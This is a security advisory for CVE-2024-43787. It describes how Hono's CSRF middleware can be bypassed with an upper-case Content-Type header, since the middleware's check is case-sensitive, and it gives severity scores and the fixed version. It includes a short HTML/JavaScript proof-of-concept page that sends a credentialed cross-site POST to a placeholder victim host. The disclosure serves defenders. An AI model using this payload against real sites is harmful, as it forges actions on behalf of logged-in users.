GHSA-rpfr-3m35-5vx5

Source

https://github.com/advisories/GHSA-rpfr-3m35-5vx5

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-rpfr-3m35-5vx5/GHSA-rpfr-3m35-5vx5.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-rpfr-3m35-5vx5

Aliases

CVE-2024-43787

Published

2024-08-22T16:41:08Z

Modified

2024-11-18T16:27:06Z

Severity

5.0 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L CVSS Calculator
2.3 (Low) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N CVSS Calculator

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header

Details

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    &lt;script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Database specific

{
    "nvd_published_at": "2024-08-22T15:15:16Z",
    "cwe_ids": [
        "CWE-352"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-22T16:41:08Z"
}

References

Affected packages

npm / hono

Package

Name: hono; View open source insights on deps.dev
Purl: pkg:npm/hono

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

4.5.8